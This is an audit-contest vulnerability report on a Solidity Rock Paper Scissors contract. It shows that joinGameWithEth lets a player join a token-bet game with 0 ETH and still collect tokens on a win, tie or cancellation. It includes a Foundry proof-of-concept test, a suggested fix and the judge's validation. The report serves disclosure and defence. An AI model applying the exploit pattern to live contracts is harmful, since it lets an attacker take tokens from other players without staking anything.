Rock Paper Scissors

First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Player B can join a Token game using ETH, resulting in player B able to enter a game with nothing-at-stake, disrupting the game fairness

Summary

After player A creates game with token (RockPaperScissors::createGameWithToken), there are no checks preventing player B from joining using ETH. Since player A's RockPaperScissors::createGameWithToken sets game.bet to 0, player B can join with 0 ETH. Hence, there is nothing at stake for player B. Additionally, player B will receive rewards in many game ending cases (detailed below), hence the fairness of the game is severely disrupted.

Vulnerability Details

  1. Player A creates game with token (RockPaperScissors::createGameWithToken)

  2. This sets the state variable game.bet to 0

  3. Player B joins game using ETH instead of token (RockPaperScissors::joinGameWithEth)

  4. Since RockPaperScissors::joinGameWithEth#L160 requires msg.value == game.bet. Hence, player B joins game using 0 ETH

RockPaperScissors::createGameWithToken

function createGameWithToken(uint256 _totalTurns, uint256 _timeoutInterval) external returns (uint256) {
require(winningToken.balanceOf(msg.sender) >= 1, "Must have winning token");
require(_totalTurns > 0, "Must have at least one turn");
require(_totalTurns % 2 == 1, "Total turns must be odd");
require(_timeoutInterval >= 5 minutes, "Timeout must be at least 5 minutes");
// Transfer token to contract
winningToken.transferFrom(msg.sender, address(this), 1);
uint256 gameId = gameCounter++;
Game storage game = games[gameId];
game.playerA = msg.sender;
@> game.bet = 0; // Zero ether bet because using token
game.timeoutInterval = _timeoutInterval;
game.creationTime = block.timestamp;
game.joinDeadline = block.timestamp + joinTimeout;
game.totalTurns = _totalTurns;
game.currentTurn = 1;
game.state = GameState.Created;
emit GameCreated(gameId, msg.sender, 0, _totalTurns);
return gameId;
}

RockPaperScissors::joinGameWithEth#L160

function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
@> require(msg.value == game.bet, "Bet amount must match creator's bet");
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}

This allows player B to enter a game with nothing-at-stake. In many of the possible game path ending states detailed below, player B still receives winningTokens despite not putting up real value at stake, disrupting the fairness of the game.

Case 1: Player A wins
Player B receives nothing, but no issue for player B since player B did not put up any real value at stake

Case 2: Player B wins
Player B receives 2 winningTokens essentially for free

Case 3: Tie
RockPaperScissors::_handleTie "refunds" player B with 1 winningToken, i.e. player B receives 1 winningToken for free

Case 4: Player A cancels game after player B joins
RockPaperScissors::_cancelGame "refunds" player B with 1 winningToken, i.e. player B receives 1 winningToken for free

PoC

Place the following code in RockPaperScissorsTest.t.sol and run

forge test --mt testNothingAtStake

function testNothingAtStake() public {
uint256 _gameId;
uint256 playerBETHBalanceBefore;
uint256 playerBETHBalanceAfter;
uint256 playerBWinningTokenBalanceBefore;
uint256 playerBWinningTokenBalanceAfter;
// Case 1: Player A wins
playerBETHBalanceBefore = playerB.balance;
playerBWinningTokenBalanceBefore = token.balanceOf(playerB);
// Player A creates game with token
_gameId = playerACreateGame();
// Player B joins game using ETH instead of token
playerBExploit(_gameId);
// Player A wins
for (uint256 i = 0; i < TOTAL_TURNS; i++){
playTurn(_gameId, RockPaperScissors.Move.Rock, RockPaperScissors.Move.Scissors);
}
playerBETHBalanceAfter = playerB.balance;
playerBWinningTokenBalanceAfter = token.balanceOf(playerB);
// Player B did not spend any ETH to join game (Nothing-At-Stake)
assertEq(playerBETHBalanceBefore, playerBETHBalanceAfter);
// Player B receives nothing, but no issue for player B since player B did not put up any real value at stake
assertEq(playerBWinningTokenBalanceBefore, playerBWinningTokenBalanceAfter);
// Case 2: Player B wins
playerBETHBalanceBefore = playerB.balance;
playerBWinningTokenBalanceBefore = token.balanceOf(playerB);
// Player A creates game with token
_gameId = playerACreateGame();
// Player B joins game using ETH instead of token
playerBExploit(_gameId);
// Player B wins
for (uint256 i = 0; i < TOTAL_TURNS; i++){
playTurn(_gameId, RockPaperScissors.Move.Rock, RockPaperScissors.Move.Paper);
}
playerBETHBalanceAfter = playerB.balance;
playerBWinningTokenBalanceAfter = token.balanceOf(playerB);
// Player B did not spend any ETH to join game (Nothing-At-Stake)
assertEq(playerBETHBalanceBefore, playerBETHBalanceAfter);
// Player B receives 2 WinningTokens essentially for free
assertEq(playerBWinningTokenBalanceAfter - playerBWinningTokenBalanceBefore, 2);
// Case 3: Tie
playerBETHBalanceBefore = playerB.balance;
playerBWinningTokenBalanceBefore = token.balanceOf(playerB);
// Player A creates game with token
_gameId = playerACreateGame();
// Player B joins game using ETH instead of token
playerBExploit(_gameId);
// Game Tied
playTurn(_gameId, RockPaperScissors.Move.Rock, RockPaperScissors.Move.Paper);
playTurn(_gameId, RockPaperScissors.Move.Rock, RockPaperScissors.Move.Scissors);
playTurn(_gameId, RockPaperScissors.Move.Rock, RockPaperScissors.Move.Rock);
playerBETHBalanceAfter = playerB.balance;
playerBWinningTokenBalanceAfter = token.balanceOf(playerB);
// Player B did not spend any ETH to join game (Nothing-At-Stake)
assertEq(playerBETHBalanceBefore, playerBETHBalanceAfter);
// `RockPaperScissors::_handleTie` "refunds" player B with 1 winningToken, i.e. player B receives 1 `winningToken` for free
assertEq(playerBWinningTokenBalanceAfter - playerBWinningTokenBalanceBefore, 1);
// Case 4: Player A cancels game after player B joins
playerBETHBalanceBefore = playerB.balance;
playerBWinningTokenBalanceBefore = token.balanceOf(playerB);
// Player A creates game with token
_gameId = playerACreateGame();
// Player B joins game using ETH instead of token
playerBExploit(_gameId);
// Player A cancel's game
vm.prank(playerA);
game.cancelGame(_gameId);
playerBETHBalanceAfter = playerB.balance;
playerBWinningTokenBalanceAfter = token.balanceOf(playerB);
// Player B did not spend any ETH to join game (Nothing-At-Stake)
assertEq(playerBETHBalanceBefore, playerBETHBalanceAfter);
// `RockPaperScissors::_cancelGame` "refunds" player B with 1 winningToken, i.e. player B receives 1 `winningToken` for free
assertEq(playerBWinningTokenBalanceAfter - playerBWinningTokenBalanceBefore, 1);
}
function playerACreateGame() public returns(uint256){
vm.startPrank(playerA);
token.approve(address(game), 1);
gameId = game.createGameWithToken(TOTAL_TURNS, TIMEOUT);
vm.stopPrank();
return gameId;
}
function playerBExploit(uint256 _gameId) public {
// Player B enters a Token game with 0 ETH
vm.prank(playerB);
game.joinGameWithEth {value: 0}(_gameId);
}

Impact

Impact: High, the fairness of the game is disrupted as player B receive winningToken in many of the game path ending states despite not putting up real value at stake
Likelihood: High, it costs player B nothing to perform this attack and will still receive winningToken in many cases. Hence, player B has high incentive to execute this attack
Severity: High

Tools Used

Manual Review

Recommendations

Prevent player B from enterring a Token game with ETH

function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
+ require(game.bet != 0, "This game requires winningToken bet");
require(msg.value == game.bet, "Bet amount must match creator's bet");
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
Updates

Appeal created

m3dython Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Game Staking Inconsistency

joinGameWithEth function lacks a check to verify the game was created with ETH

37h3rn17y2 Submitter
10 months ago
m3dython Lead Judge
10 months ago
37h3rn17y2 Submitter
10 months ago
m3dython Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Game Staking Inconsistency

joinGameWithEth function lacks a check to verify the game was created with ETH

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!